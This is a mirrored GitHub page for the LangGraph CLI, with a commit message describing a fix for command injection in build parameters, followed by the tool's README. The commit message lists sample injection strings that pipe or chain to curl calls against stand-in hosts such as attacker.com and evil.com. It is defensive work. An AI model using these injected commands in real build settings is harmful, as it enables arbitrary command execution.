mirror of
https://github.com/langchain-ai/langgraph.git
synced 2026-08-21 07:02:25 +02:00
e00a027579
## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
LangGraph CLI
The official command-line interface for LangGraph, providing tools to create, develop, and deploy LangGraph applications.
Installation
Install via pip:
pip install langgraph-cli
For development mode with hot reloading:
pip install "langgraph-cli[inmem]"
Commands
langgraph new 🌱
Create a new LangGraph project from a template
langgraph new [PATH] --template TEMPLATE_NAME
langgraph dev 🏃♀️
Run LangGraph API server in development mode with hot reloading
langgraph dev [OPTIONS]
--host TEXT Host to bind to (default: 127.0.0.1)
--port INTEGER Port to bind to (default: 2024)
--no-reload Disable auto-reload
--debug-port INTEGER Enable remote debugging
--no-browser Skip opening browser window
-c, --config FILE Config file path (default: langgraph.json)
langgraph up 🚀
Launch LangGraph API server in Docker
langgraph up [OPTIONS]
-p, --port INTEGER Port to expose (default: 8123)
--wait Wait for services to start
--watch Restart on file changes
--verbose Show detailed logs
-c, --config FILE Config file path
-d, --docker-compose Additional services file
langgraph build
Build a Docker image for your LangGraph application
langgraph build -t IMAGE_TAG [OPTIONS]
--platform TEXT Target platforms (e.g., linux/amd64,linux/arm64)
--pull / --no-pull Use latest/local base image
-c, --config FILE Config file path
langgraph dockerfile
Generate a Dockerfile for custom deployments
langgraph dockerfile SAVE_PATH [OPTIONS]
-c, --config FILE Config file path
Configuration
The CLI uses a langgraph.json configuration file with these key settings:
{
"dependencies": ["langchain_openai", "./your_package"], // Required: Package dependencies
"graphs": {
"my_graph": "./your_package/file.py:graph" // Required: Graph definitions
},
"env": "./.env", // Optional: Environment variables
"python_version": "3.11", // Optional: Python version (3.11/3.12)
"pip_config_file": "./pip.conf", // Optional: pip configuration
"dockerfile_lines": [] // Optional: Additional Dockerfile commands
}
See the full documentation for detailed configuration options.
Development
To develop the CLI itself:
- Clone the repository
- Navigate to the CLI directory:
cd libs/cli - Install development dependencies:
uv pip install - Make your changes to the CLI code
- Test your changes:
# Run CLI commands directly uv run langgraph --help # Or use the examples cd examples uv pip install uv run langgraph dev # or other commands
License
This project is licensed under the terms specified in the repository's LICENSE file.